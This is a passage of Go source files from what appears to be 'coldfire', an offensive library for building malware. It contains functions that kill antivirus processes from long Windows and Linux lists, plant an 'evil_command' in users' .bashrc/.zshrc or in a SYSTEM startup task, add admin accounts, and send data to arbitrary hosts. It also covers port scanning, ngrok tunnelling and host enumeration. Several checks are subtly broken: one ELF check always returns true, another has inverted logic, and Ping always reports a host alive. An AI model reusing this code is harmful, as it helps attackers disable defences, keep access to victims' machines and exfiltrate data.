make([]byte, 1) 14 | s2[0] = b2 15 | return bytes.Equal(s1, s2) 16 | } 17 | 18 | func VerifyELFMagic(fname string) bool { 19 | f := IOReader(fname) 20 | _, err := elf.NewFile(f) 21 | Check(err) 22 | if err != nil { 23 | return false 24 | } 25 | var ident [16]uint8 26 | f.ReadAt(ident[0:], 0) 27 | Check(err) 28 | if ident[0] == '\x7f' && ident[1] == 'E' && ident[2] == 'L' && ident[3] == 'F' { 29 | return true 30 | } 31 | return true 32 | } 33 | 34 | func IsELF(fname string) bool { 35 | raw, err := os.ReadFile(fname) 36 | Check(err) 37 | _, elf_err := elf_reader.ParseELFFile(raw) 38 | if elf_err == nil { 39 | return false 40 | } 41 | return true 42 | } 43 | 44 | func IsEXE(fname string) bool { 45 | f := IOReader(fname) 46 | _, err := elf.NewFile(f) 47 | Check(err) 48 | if err != nil { 49 | return false 50 | } 51 | var ident [16]uint8 52 | f.ReadAt(ident[0:], 0) 53 | Check(err) 54 | if ident[0] == 'M' && ident[1] == 'Z' { 55 | return true 56 | } 57 | return false 58 | 59 | } 60 | 61 | //func IsELFInfected(fname string) bool { 62 | // 63 | //} 64 | 65 | // Checks if an ELF file is designed for AMD x86_64 66 | func Is64Bit(fname string) bool { 67 | if IsELF(fname) { 68 | f := IOReader(fname) 69 | elfile, err := elf.NewFile(f) 70 | Check(err) 71 | if (elfile.Class.String() == "ELFCLASS64" && elfile.Machine.String() == "EM_X86_64") { 72 | return true 73 | } 74 | return false 75 | } else if IsEXE(fname) { 76 | 77 | } 78 | return false 79 | } 80 | 81 | func Caves(file string, min_size int) map[string]map[string]int { 82 | if IsELF(file) { 83 | elfile, err := elf.Open(file) 84 | Check(err) 85 | for _, sect := range elfile.Sections { 86 | data, _ := sect.Data() 87 | for off := 0; off < len(data); off++{ 88 | if EqualBytes(data[off], 0x00) { 89 | 90 | } 91 | } 92 | } 93 | } else { 94 | 95 | } 96 | return nil 97 | } -------------------------------------------------------------------------------- /net.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | "log" 10 | "net" 11 | "net/http" 12 | "os" 13 | "strconv" 14 | "strings" 15 | 16 | "syscall" 17 | "time" 18 | 19 | portscanner "github.com/anvie/port-scanner" 20 | "github.com/jackpal/gateway" 21 | "golang.org/x/crypto/ssh" 22 | ) 23 | 24 | // GetGlobalIp is used to return the global Ip address of the machine. 25 | func GetGlobalIP() string { 26 | ip := "" 27 | resolvers := []string{ 28 | "https://api.ipify.org?format=text", 29 | "http://myexternalip.com/raw", 30 | "http://ident.me", 31 | "https://ifconfig.me", 32 | "https://bot.whatismyipaddress.com/", 33 | "https://ifconfig.co", 34 | } 35 | 36 | for { 37 | url := RandomSelectStr(resolvers) 38 | resp, err := http.Get(url) 39 | if err != nil { 40 | log.Printf("%v\n", err) 41 | } 42 | defer resp.Body.Close() 43 | 44 | i, _ := ioutil.ReadAll(resp.Body) 45 | ip = string(i) 46 | 47 | if resp.StatusCode == 200 { 48 | break 49 | } 50 | } 51 | 52 | return ip 53 | } 54 | 55 | // GetLocalIp is used to get the local Ip address of the machine. 56 | func GetLocalIP() string { 57 | conn, _ := net.Dial("udp", "8.8.8.8:80") 58 | defer conn.Close() 59 | ip := conn.LocalAddr().(*net.UDPAddr).IP 60 | 61 | return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]) 62 | } 63 | 64 | // GetGatewayIP returns the Ip address of the gateway in the network where the machine resides. 65 | func GetGatewayIP() string { 66 | ip, err := gateway.DiscoverGateway() 67 | ExitOnError(err) 68 | 69 | return ip.String() 70 | } 71 | 72 | // Returns an IP address of a given interface 73 | func IfaceIP(ifname string) string { 74 | niface, err := net.InterfaceByName(ifname) 75 | addrs, err := niface.Addrs() 76 | ExitOnError(err) 77 | return addrs[0].(*net.IPNet).IP.String() 78 | } 79 | 80 | // Iface returns the currently used wireless interface and its MAC address. 81 | func Iface() (string, string) { 82 | current_iface := "" 83 | interfaces, err := net.Interfaces() 84 | ExitOnError(err) 85 | 86 | for _, interf := range interfaces { 87 | if addrs, err := interf.Addrs(); err == nil { 88 | for _, addr := range addrs { 89 | if strings.Contains(addr.String(), GetLocalIP()) { 90 | current_iface = interf.Name 91 | } 92 | } 93 | } 94 | } 95 | 96 | netInterface, err := net.InterfaceByName(current_iface) 97 | ExitOnError(err) 98 | 99 | name := netInterface.Name 100 | macAddress := netInterface.HardwareAddr 101 | hwAddr, err := net.ParseMAC(macAddress.String()) 102 | ExitOnError(err) 103 | 104 | return name, hwAddr.String() 105 | } 106 | 107 | // Ifaces returns the names of all local interfaces. 108 | func Ifaces() []string { 109 | ifs := []string{} 110 | interfaces, _ := net.Interfaces() 111 | 112 | for _, interf := range interfaces { 113 | ifs = append(ifs, interf.Name) 114 | } 115 | 116 | return ifs 117 | } 118 | 119 | // SendDataTCP sends data to a given host:port using the TCP protocol. 120 | func SendDataTCP(host string, port int, data string) error { 121 | addr := host + ":" + strconv.Itoa(port) 122 | conn, err := net.Dial("tcp", addr) 123 | if err != nil { 124 | return err 125 | } 126 | _, err = io.WriteString(conn, data+"\n") 127 | if err != nil { 128 | return err 129 | } 130 | defer conn.Close() 131 | 132 | return nil 133 | } 134 | 135 | // SendDataUDP sends data to a given host:port using the UDP protocol. 136 | func SendDataUDP(host string, port int, data string) error { 137 | addr := host + ":" + strconv.Itoa(port) 138 | conn, err := net.Dial("udp", addr) 139 | if err != nil { 140 | return err 141 | } 142 | 143 | _, err = io.WriteString(conn, data+"\n") 144 | if err != nil { 145 | return err 146 | } 147 | defer conn.Close() 148 | 149 | return nil 150 | } 151 | 152 | // Download downloads a file from a url. 153 | func Download(url string) error { 154 | splitted := strings.Split(url, "/") 155 | filename := splitted[len(splitted)-1] 156 | 157 | f, err := os.Create(filename) 158 | if err != nil { 159 | return err 160 | } 161 | defer f.Close() 162 | 163 | response, err := http.Get(url) 164 | if err != nil { 165 | return err 166 | } 167 | defer response.Body.Close() 168 | 169 | _, err = io.Copy(f, response.Body) 170 | if err != nil { 171 | return err 172 | } 173 | 174 | return nil 175 | } 176 | 177 | // Networks returns a list of nearby wireless networks. 178 | func Networks() ([]string, error) { 179 | return networks() 180 | } 181 | 182 | // ExpandCidr returns a list of Ip addresses within a given CIDR. 183 | func ExpandCidr(cidr string) ([]string, error) { 184 | ip, ipnet, err := net.ParseCIDR(cidr) 185 | if err != nil { 186 | return nil, err 187 | } 188 | 189 | var ips []string 190 | for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); IpIncrement(ip) { 191 | ips = append(ips, ip.String()) 192 | } 193 | 194 | lenIPs := len(ips) 195 | switch { 196 | case lenIPs < 2: 197 | return ips, nil 198 | default: 199 | return ips[1 : len(ips)-1], nil 200 | } 201 | } 202 | 203 | // DnsLookup returns the list of Ip adddress associated with the given hostname. 204 | func DnsLookup(hostname string) ([]string, error) { 205 | i := []string{} 206 | ips, err := net.LookupIP(hostname) 207 | if err != nil { 208 | return nil, err 209 | } 210 | for _, ip := range ips { 211 | i = append(i, ip.String()) 212 | } 213 | return i, nil 214 | } 215 | 216 | // RdnsLookup returns the list of hostnames associated with the given Ip address. 217 | func RdnsLookup(ip string) ([]string, error) { 218 | ips, err := net.LookupAddr(ip) 219 | if err != nil { 220 | return nil, err 221 | } 222 | return ips, nil 223 | } 224 | 225 | // Portscan checks for open ports in a given target. 226 | func Portscan(target string, timeout, threads int) (pr []int) { 227 | ps := portscanner.NewPortScanner(target, time.Duration(timeout)*time.Second, threads) 228 | opened_ports := ps.GetOpenedPort(0, 65535) 229 | for p := range opened_ports { 230 | port := opened_ports[p] 231 | pr = append(pr, port) 232 | } 233 | return 234 | } 235 | 236 | // PortscanSingle checks if a specific port is open in a given target. 237 | func PortscanSingle(target string, port int) bool { 238 | ps := portscanner.NewPortScanner(target, time.Duration(10)*time.Second, 3) 239 | opened_ports := ps.GetOpenedPort(port-1, port+1) 240 | return len(opened_ports) != 0 241 | } 242 | 243 | // PortscanSingleTimeout checks if a specific port is open in a given target. 244 | // Connection timeout as well as no. of threads can be adjusted 245 | func PortscanSingleTimeout(target string, port, timeout, threads int) bool { 246 | ps := portscanner.NewPortScanner(target, time.Duration(timeout)*time.Second, threads) 247 | opened_ports := ps.GetOpenedPort(port-1, port+1) 248 | return len(opened_ports) != 0 249 | } 250 | 251 | // Returns true if host is alive 252 | func Ping(target string) bool { 253 | open_counter := 0 254 | ports_to_check := []int{80, 443, 21, 22} 255 | ps := portscanner.NewPortScanner(target, 2*time.Second, 5) 256 | for _, port := range ports_to_check { 257 | if ps.IsOpen(port) { 258 | open_counter += 1 259 | } 260 | } 261 | return true 262 | } 263 | 264 | // Removes hosts from slice that did not respond to a ping request 265 | func RemoveInactive(targets []string) { 266 | for i, t := range targets { 267 | if !Ping(t) { 268 | targets[i] = "" 269 | } 270 | } 271 | } 272 | 273 | // Returns a random free port 274 | func PortFree(port int) int { 275 | var a *net.TCPAddr 276 | a, err := net.ResolveTCPAddr("tcp", "localhost:0") 277 | if err != nil { 278 | return 0 279 | } 280 | var l *net.TCPListener 281 | l, _ = net.ListenTCP("tcp", a) 282 | defer l.Close() 283 | return l.Addr().(*net.TCPAddr).Port 284 | } 285 | 286 | func PortReuse(network string, address string, conn syscall.RawConn) error { 287 | return portReuse(network, address, conn) 288 | } 289 | 290 | // Gracefully closes an instance of net.Listener 291 | func CloseListener(lst net.Listener) { 292 | if lst != nil { 293 | lst.Close() 294 | lst = nil 295 | } 296 | } 297 | 298 | // Returns a slice with lines of file from URL 299 | func Url2Lines(url string) []string { 300 | resp, err := http.Get(url) 301 | Check(err) 302 | defer resp.Body.Close() 303 | var lns []string 304 | scn := bufio.NewScanner(resp.Body) 305 | for scn.Scan() { 306 | lns = append(lns, scn.Text()) 307 | } 308 | return lns 309 | } 310 | 311 | // Checks if an SSH client connection has a root context 312 | func CheckRootSSH(client ssh.Client) bool { 313 | uid0_session := false 314 | session, err := client.NewSession() 315 | defer session.Close() 316 | Check(err) 317 | var user_id bytes.Buffer 318 | session.Stdout = &user_id 319 | if session.Run("id") != nil { 320 | if ContainsAny(user_id.String(), []string{"uid=0", "gid=0", "root"}) { 321 | uid0_session = true 322 | } 323 | } 324 | return uid0_session 325 | } 326 | -------------------------------------------------------------------------------- /net_linux.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "strings" 5 | "syscall" 6 | 7 | "golang.org/x/sys/unix" 8 | ) 9 | 10 | func networks() ([]string, error) { 11 | wifi_names := []string{} 12 | 13 | out, err := cmdOut("nmcli dev wifi") 14 | if err != nil { 15 | return nil, err 16 | } 17 | 18 | o := strings.Split(out, "\n")[1:] 19 | for entry := range o { 20 | e := o[entry] 21 | wifi_name := strings.Split(e, "")[1] 22 | wifi_names = append(wifi_names, wifi_name) 23 | } 24 | 25 | return wifi_names, nil 26 | } 27 | 28 | func portReuse(network string, address string, conn syscall.RawConn) error { 29 | return conn.Control(func(descriptor uintptr) { 30 | syscall.SetsockoptInt(int(descriptor), unix.SOL_SOCKET, unix.SO_REUSEADDR, 1) 31 | }) 32 | } 33 | -------------------------------------------------------------------------------- /net_windows.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "strings" 5 | "golang.org/x/sys/windows" 6 | "syscall" 7 | ) 8 | 9 | func networks() ([]string, error) { 10 | wifi_names := []string{} 11 | out, err := cmdOut("netsh wlan show networks") 12 | if err != nil { 13 | return nil, err 14 | } 15 | o := strings.Split(out, "\n")[1:] 16 | for entry := range o { 17 | e := o[entry] 18 | if strings.Contains(e, "SSID") { 19 | wifi_name := strings.Split(e, ":")[1] 20 | wifi_names = append(wifi_names, wifi_name) 21 | } 22 | } 23 | return wifi_names, nil 24 | } 25 | 26 | // PortReuse sets SO_REUSEPORT on socket descriptor 27 | // Can be used as a control parameter to a &net.ListenConfig 28 | func portReuse(network string, address string, conn syscall.RawConn) error { 29 | return conn.Control(func(descriptor uintptr){ 30 | windows.SetsockoptInt(windows.Handle(descriptor), windows.SOL_SOCKET, windows.SO_REUSEADDR, 1) 31 | }) 32 | } -------------------------------------------------------------------------------- /ngrok.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "io/ioutil" 5 | "net/http" 6 | 7 | "github.com/savaki/jq" 8 | ) 9 | 10 | // StartNgrokTCP exposes a TCP server on a given port. 11 | func StartNgrokTCP(port int) error { 12 | _, err := CmdOut(F("ngrok tcp %d", port)) 13 | 14 | return err 15 | } 16 | 17 | // StartNgrokHTTP exposes a web server on a given port. 18 | func StartNgrokHTTP(port int) error { 19 | _, err := CmdOut(F("ngrok http %d", port)) 20 | 21 | return err 22 | } 23 | 24 | // GetNgrokURL returns the URL of the Ngrok tunnel exposing the machine. 25 | func GetNgrokURL() (string, error) { 26 | local_url := "http://localhost:4040/api/tunnels" 27 | resp, err := http.Get(local_url) 28 | 29 | if err != nil { 30 | return "", err 31 | } 32 | defer resp.Body.Close() 33 | 34 | json, err := ioutil.ReadAll(resp.Body) 35 | if err != nil { 36 | return "", err 37 | } 38 | 39 | jq_op_1, _ := jq.Parse(".tunnels") 40 | json_1, _ := jq_op_1.Apply(json) 41 | jq_op_2, _ := jq.Parse(".[0]") 42 | json_2, _ := jq_op_2.Apply(json_1) 43 | jq_op_3, _ := jq.Parse(".public_url") 44 | json_3, _ := jq_op_3.Apply(json_2) 45 | json_sanitized := FullRemove(string(json_3), `"`) 46 | 47 | return json_sanitized, nil 48 | } 49 | -------------------------------------------------------------------------------- /os.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io/fs" 7 | "log" 8 | "os" 9 | "os/user" 10 | "strings" 11 | "time" 12 | 13 | "github.com/beevik/ntp" 14 | "github.com/matishsiao/goInfo" 15 | "github.com/mitchellh/go-homedir" 16 | ps "github.com/mitchellh/go-ps" 17 | ) 18 | 19 | // Info is used to return basic system information. 20 | // Note that if information can not be resolved in a 21 | // specific field it returns "N/A" 22 | func Info() map[string]string { 23 | _, mac := Iface() 24 | var ( 25 | u string 26 | ap_ip string 27 | ) 28 | 29 | i, _ := goInfo.GetInfo() 30 | 31 | u = userinfo() 32 | ap_ip = "" 33 | _ = ap_ip 34 | hdir, err := homedir.Dir() 35 | if err != nil { 36 | log.Fatalf(err.Error()) 37 | } 38 | 39 | inf := map[string]string{ 40 | "username": u, 41 | "hostname": fmt.Sprintf("%v", i.Hostname), 42 | "go_os": fmt.Sprintf("%v", i.GoOS), 43 | "os": fmt.Sprintf("%v", i.OS), 44 | "platform": fmt.Sprintf("%v", i.Platform), 45 | "cpu_num": fmt.Sprintf("%v", i.CPUs), 46 | "kernel": fmt.Sprintf("%v", i.Kernel), 47 | "core": fmt.Sprintf("%v", i.Core), 48 | "local_ip": GetLocalIP(), 49 | "global_ip": GetGlobalIP(), 50 | "ap_ip": GetGatewayIP(), 51 | "mac": mac, 52 | "homedir": hdir, 53 | } 54 | 55 | return inf 56 | } 57 | 58 | // Obtains current time from NTP server 59 | func TimeNTP() time.Time { 60 | ntp_time, err := ntp.Time("time.ntp.com") 61 | if err != nil { 62 | ntp_time, _ = ntp.Time("time.apple.com") 63 | } 64 | return ntp_time 65 | } 66 | 67 | // PkillPid kills a process by its PID. 68 | func PkillPid(pid int) error { 69 | err := KillProcByPID(pid) 70 | return err 71 | } 72 | 73 | // KillProcByPID kills a process given its PID. 74 | func KillProcByPID(pid int) error { 75 | return killProcByPID(pid) 76 | } 77 | 78 | // PkillName kills a process by its name. 79 | func PkillName(name string) error { 80 | processList, err := ps.Processes() 81 | if err != nil { 82 | return err 83 | } 84 | 85 | for x := range processList { 86 | process := processList[x] 87 | proc_name := process.Executable() 88 | pid := process.Pid() 89 | 90 | if strings.Contains(proc_name, name) { 91 | err := KillProcByPID(pid) 92 | if err != nil { 93 | return err 94 | } 95 | } 96 | } 97 | return nil 98 | } 99 | 100 | // PkillAv kills Anti-Virus processes that may run within the machine. 101 | func PkillAv() error { 102 | return pkillAv() 103 | } 104 | 105 | // Processes returns a map of a PID to its respective process name. 106 | func Processes() (map[int]string, error) { 107 | prs := make(map[int]string) 108 | processList, err := ps.Processes() 109 | if err != nil { 110 | return nil, err 111 | } 112 | 113 | for x := range processList { 114 | process := processList[x] 115 | prs[process.Pid()] = process.Executable() 116 | } 117 | 118 | return prs, nil 119 | } 120 | 121 | // Users returns a list of known users within the machine. 122 | func Users() ([]string, error) { 123 | return users() 124 | } 125 | 126 | // WifiDisconnect is used to disconnect the machine from a wireless network. 127 | func WifiDisconnect() error { 128 | return wifiDisconnect() 129 | } 130 | 131 | // Disks returns a list of storage drives within the machine. 132 | func Disks() ([]string, error) { 133 | return disks() 134 | } 135 | 136 | // TraverseCurrentDir lists all files that exist within the current directory. 137 | func TraverseCurrentDir() ([]string, error) { 138 | files_in_dir := []string{} 139 | files, err := os.ReadDir(".") 140 | if err != nil { 141 | return nil, err 142 | } 143 | 144 | for _, f := range files { 145 | files_in_dir = append(files_in_dir, f.Name()) 146 | } 147 | 148 | return files_in_dir, nil 149 | } 150 | 151 | // TraverseDir lists all files that exist within a given directory. 152 | func TraverseDir(dir string) ([]string, error) { 153 | files_in_dir := []string{} 154 | files, err := os.ReadDir(dir) 155 | if err != nil { 156 | return nil, err 157 | } 158 | 159 | for _, f := range files { 160 | files_in_dir = append(files_in_dir, f.Name()) 161 | } 162 | 163 | return files_in_dir, nil 164 | } 165 | 166 | // FilePermissions checks if a given file has read and write permissions. 167 | func FilePermissions(filename string) (bool, bool) { 168 | write_permission := true 169 | read_permission := true 170 | 171 | file, err := os.OpenFile(filename, os.O_WRONLY, 0666) 172 | if err != nil { 173 | if os.IsPermission(err) { 174 | write_permission = false 175 | } 176 | } 177 | file.Close() 178 | 179 | return read_permission, write_permission 180 | } 181 | 182 | // Exists checks if a given file is in the system. 183 | func Exists(file string) bool { 184 | _, err := os.Stat(file) 185 | if err != nil { 186 | if errors.Is(err, fs.ErrNotExist) { 187 | return false 188 | } 189 | } 190 | return true 191 | } 192 | 193 | // IsRoot checks if the current user is the administrator of the machine. 194 | func IsRoot() bool { 195 | return isRoot() 196 | } 197 | 198 | // Shutdown forces the machine to shutdown. 199 | func Shutdown() error { 200 | return shutdown() 201 | } 202 | 203 | // AddPersistentCommand creates a task that runs a given command on startup. 204 | func AddPersistentCommand(cmd string) error { 205 | return addPersistentCommand(cmd) 206 | } 207 | 208 | func GetUser() (string, error) { 209 | current_user, err := user.Current() 210 | return current_user.Username, err 211 | } 212 | -------------------------------------------------------------------------------- /os_linux.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "strings" 5 | "syscall" 6 | "io/ioutil" 7 | "os/user" 8 | "fmt" 9 | "os" 10 | "github.com/mitchellh/go-ps" 11 | ) 12 | 13 | func userinfo() string { 14 | user, err := cmdOut("whoami") 15 | if err != nil { 16 | return "N/A" 17 | } else { 18 | return user 19 | } 20 | } 21 | 22 | func killProcByPID(pid int) error { 23 | err := syscall.Kill(pid,9) 24 | return err 25 | } 26 | 27 | func isRoot() bool { 28 | user, err := user.Current() 29 | if err != nil { 30 | panic(err) 31 | } 32 | if user.Username != "root" { 33 | return false 34 | } 35 | return true 36 | } 37 | 38 | func shutdown() error { 39 | err := syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF) 40 | return err 41 | } 42 | 43 | func pkillAv() error { 44 | av_processes := []string{"netsafety", "clamav", "sav-protect.service", "sav-rms.service"} 45 | 46 | processList, err := ps.Processes() 47 | if err != nil { 48 | return err 49 | } 50 | 51 | for x := range processList { 52 | process := processList[x] 53 | proc_name := process.Executable() 54 | pid := process.Pid() 55 | 56 | if ContainsAny(proc_name, av_processes) { 57 | err := killProcByPID(pid) 58 | if err != nil { 59 | return err 60 | } 61 | } 62 | } 63 | 64 | return nil 65 | } 66 | 67 | func users() ([]string, error) { 68 | o, err := cmdOut("cut -d: -f1 /etc/passwd") 69 | 70 | if err != nil { 71 | return nil, err 72 | } 73 | 74 | return strings.Split(o, "\n"), nil 75 | } 76 | 77 | func createUser(username, password string) error { 78 | // This is too much distro dependent. Maybe try x different commands, 79 | // including `useradd`? 80 | cmd := f("sysadminctl -addUser %s -password %s -admin", username, password) 81 | 82 | _, err := cmdOut(cmd) 83 | if err != nil { 84 | return err 85 | } 86 | return nil 87 | } 88 | 89 | func wifiDisconnect() error { 90 | iface, _ := Iface() 91 | cmd := f("ip link set dev %s down", iface) 92 | _, err := cmdOut(cmd) 93 | if err != nil { 94 | return err 95 | } 96 | return nil 97 | } 98 | 99 | func addPersistentCommand(evil_command string) error { 100 | ep, err := os.Open("/etc/passwd") 101 | if err != nil { return err } 102 | data, err := ioutil.ReadAll(ep) 103 | if err != nil { return err } 104 | byline := strings.Split(string(data),"\n") 105 | for _,line := range byline { 106 | splitted := strings.Split(line,":") 107 | if len(splitted) >= 6 { 108 | switch splitted[6] { 109 | case "/bin/bash": 110 | cu,err := GetUser() 111 | if err != nil { return err } 112 | if splitted[0] == cu { 113 | pwd := "/home/" 114 | pwd = pwd + splitted[0] 115 | pwd = pwd + "/.bashrc" 116 | f,err := os.OpenFile(pwd,os.O_APPEND|os.O_WRONLY,0644) 117 | if err != nil { return err } 118 | fmt.Fprintf(f,"%s",evil_command) 119 | f.Close() 120 | } 121 | case "/bin/zsh": 122 | cu, err := GetUser() 123 | if err != nil { return err } 124 | if splitted[0] == cu { 125 | pwd := "/home/" 126 | pwd = pwd + splitted[0] 127 | pwd = pwd + "/.zshrc" 128 | f,err := os.OpenFile(pwd,os.O_APPEND|os.O_WRONLY,0644) 129 | if err != nil { return err } 130 | fmt.Fprintf(f,"%s",evil_command) 131 | f.Close() 132 | } 133 | default: 134 | continue 135 | } 136 | } 137 | } 138 | return err 139 | } 140 | 141 | 142 | func disks() ([]string, error) { 143 | found_drives := []string{} 144 | 145 | for _, drive := range "abcdefgh" { 146 | f, err := os.Open("/dev/sd" + string(drive)) 147 | if err == nil { 148 | found_drives = append(found_drives, "/dev/sd"+string(drive)) 149 | f.Close() 150 | } 151 | } 152 | 153 | return found_drives, nil 154 | } 155 | -------------------------------------------------------------------------------- /os_test.go: -------------------------------------------------------------------------------- 1 | package coldfire_test 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/google/uuid" 8 | coldfire "github.com/redcode-labs/Coldfire" 9 | ) 10 | 11 | func TestIsRoot(t *testing.T) { 12 | r := coldfire.IsRoot() 13 | t.Logf("%v", r) 14 | } 15 | 16 | func TestExists(t *testing.T) { 17 | fname := uuid.NewString() 18 | f, err := os.Create(fname) 19 | if err != nil { 20 | t.Errorf("failed to create test file: %s", err.Error()) 21 | } 22 | f.Close() 23 | 24 | if b := coldfire.Exists(fname); !b { 25 | t.Errorf("coldfire.Exists: check failed: got %v, wanted %v", b, true) 26 | } 27 | 28 | if err := os.Remove(fname); err != nil { 29 | t.Errorf("failed to remove test file: %s", err.Error()) 30 | } 31 | } 32 | 33 | func TestFilePermissions(t *testing.T) { 34 | fname := uuid.NewString() 35 | f, err := os.Create(fname) 36 | if err != nil { 37 | t.Errorf("failed to create test file: %s", err.Error()) 38 | } 39 | f.Close() 40 | 41 | if r, w := coldfire.FilePermissions(fname); !r || !w { 42 | t.Errorf("coldfire.Exists: check failed: got %v %v, wanted %v %v", r, w, true, true) 43 | } 44 | 45 | if err := os.Remove(fname); err != nil { 46 | t.Errorf("failed to remove test file: %s", err.Error()) 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /os_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | // +build windows 3 | 4 | package coldfire 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "strings" 10 | 11 | ps "github.com/mitchellh/go-ps" 12 | "golang.org/x/sys/windows" 13 | ) 14 | 15 | func killProcByPID(pid int) error { 16 | kernel32dll := windows.NewLazyDLL("Kernel32.dll") 17 | OpenProcess := kernel32dll.NewProc("OpenProcess") 18 | TerminateProcess := kernel32dll.NewProc("TerminateProcess") 19 | op, _, _ := OpenProcess.Call(0x0001, 1, uintptr(pid)) 20 | //protip:too much error handling can screw things up 21 | _, _, err2 := TerminateProcess.Call(op, 9) 22 | return err2 23 | } 24 | 25 | func isRoot() bool { 26 | root := true 27 | 28 | _, err := os.Open("\\\\.\\PHYSICALDRIVE0") 29 | if err != nil { 30 | root = false 31 | } 32 | 33 | return root 34 | } 35 | 36 | func userinfo() string { 37 | user, err := cmdOut("query user") 38 | if err != nil { 39 | user = "N/A" 40 | } 41 | 42 | return user 43 | } 44 | 45 | func pkillAv() error { 46 | av_processes := []string{ 47 | "advchk.exe", "ahnsd.exe", "alertsvc.exe", "alunotify.exe", "autodown.exe", "avmaisrv.exe", 48 | "avpcc.exe", "avpm.exe", "avsched32.exe", "avwupsrv.exe", "bdmcon.exe", "bdnagent.exe", "bdoesrv.exe", 49 | "bdss.exe", "bdswitch.exe", "bitdefender_p2p_startup.exe", "cavrid.exe", "cavtray.exe", "cmgrdian.exe", 50 | "doscan.exe", "dvpapi.exe", "frameworkservice.exe", "frameworkservic.exe", "freshclam.exe", "icepack.exe", 51 | "isafe.exe", "mgavrtcl.exe", "mghtml.exe", "mgui.exe", "navapsvc.exe", "nod32krn.exe", "nod32kui.exe", 52 | "npfmntor.exe", "nsmdtr.exe", "ntrtscan.exe", "ofcdog.exe", "patch.exe", "pav.exe", "pcscan.exe", 53 | "poproxy.exe", "prevsrv.exe", "realmon.exe", "savscan.exe", "sbserv.exe", "scan32.exe", "spider.exe", 54 | "tmproxy.exe", "trayicos.exe", "updaterui.exe", "updtnv28.exe", "vet32.exe", "vetmsg.exe", "vptray.exe", 55 | "vsserv.exe", "webproxy.exe", "webscanx.exe", "xcommsvr.exe"} 56 | 57 | processList, err := ps.Processes() 58 | if err != nil { 59 | return err 60 | } 61 | 62 | for x := range processList { 63 | process := processList[x] 64 | proc_name := process.Executable() 65 | pid := process.Pid() 66 | 67 | if ContainsAny(proc_name, av_processes) { 68 | err := killProcByPID(pid) 69 | if err != nil { 70 | return err 71 | } 72 | } 73 | } 74 | 75 | return nil 76 | } 77 | 78 | func wifiDisconnect() error { 79 | cmd := `netsh interface set interface name="Wireless Network Connection" admin=DISABLED` 80 | _, err := cmdOut(cmd) 81 | if err != nil { 82 | return err 83 | } 84 | return nil 85 | } 86 | 87 | func addPersistentCommand(cmd string) error { 88 | _, err := cmdOut(fmt.Sprintf(`schtasks /create /tn "MyCustomTask" /sc onstart /ru system /tr "cmd.exe /c %s`, cmd)) 89 | return err 90 | } 91 | 92 | func CreateUser(username, password string) error { 93 | cmd := f("net user %s %s /ADD", username, password) 94 | 95 | _, err := cmdOut(cmd) 96 | if err != nil { 97 | return err 98 | } 99 | return nil 100 | } 101 | 102 | func disks() ([]string, error) { 103 | found_drives := []string{} 104 | 105 | for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" { 106 | f, err := os.Open(string(drive) + ":\\") 107 | if err == nil { 108 | found_drives = append(found_drives, string(drive)+":\\") 109 | f.Close() 110 | } 111 | } 112 | return found_drives, nil 113 | } 114 | 115 | func users() ([]string, error) { 116 | clear := []string{} 117 | o, err := cmdOut("net user") 118 | if err != nil { 119 | return nil, err 120 | } 121 | 122 | lines := strings.Split(o, "\n") 123 | 124 | for l := range lines { 125 | line := lines[l] 126 | if !ContainsAny(line, []string{"accounts for", "------", "completed"}) { 127 | clear = append(clear, line) 128 | } 129 | } 130 | 131 | return clear, nil 132 | // return strings.Fields(strings.Join(clear, " ")), nil 133 | // usrs := []string{} 134 | // users, err := wapi.ListLoggedInUsers() 135 | // if err != nil { 136 | // return nil, err 137 | // } 138 | // for _, u := range(users){ 139 | // usrs = append(usrs, u.FullUser()) 140 | // } 141 | // return usrs, nil 142 | } 143 | -------------------------------------------------------------------------------- /random.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | ) 7 | 8 | // RandomSelectStr returns a string that was randomly selected from a list of strings. 9 | func RandomSelectStr(list []string) string { 10 | rand.Seed(time.Now().UnixNano()) 11 | return list[rand.Intn(len(list))] 12 | } 13 | 14 | // RandomSelectStrNested returns a string array that was randomly selected from a nested list of strings 15 | func RandomSelectStrNested(list [][]string) []string { 16 | rand.Seed(time.Now().UnixNano()) 17 | return list[rand.Intn(len(list))] 18 | } 19 | 20 | // RandomSelectInt returns an integer that was randomly selected from a list of integers. 21 | func RandomSelectInt(list []int) int { 22 | rand.Seed(time.Now().UnixNano()) 23 | return list[rand.Intn(len(list))] 24 | } 25 | 26 | // RandomString randomly generates an alphabetic string of a given length. 27 | func RandomString(n int) string { 28 | rand.Seed(time.Now().UnixNano()) 29 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 30 | b := make([]rune, n) 31 | for i := range b { 32 | b[i] = letters[rand.Intn(len(letters))] 33 | } 34 | return string(b) 35 | } 36 | 37 | //RandomStringCharset returns a string of a given length from provided charset 38 | func RandomStringCharset(strlen int, chars string) string { 39 | b := make([]byte, strlen) 40 | for i := range b { 41 | b[i] = chars[rand.Intn(len(chars))] 42 | } 43 | return string(b) 44 | } 45 | 46 | // Returns a random true/false 47 | func RandomBool() bool { 48 | rand.Seed(time.Now().UnixNano()) 49 | return rand.Intn(2) == 1 50 | } 51 | 52 | // Creates and populates a slice with random numeric values up to 1000 53 | func RandomIntSlice(length int) []int { 54 | var slc []int 55 | rand.Seed(time.Now().UnixNano()) 56 | for i:=0; i= cores) { 55 | x = true 56 | } 57 | return x 58 | } 59 | 60 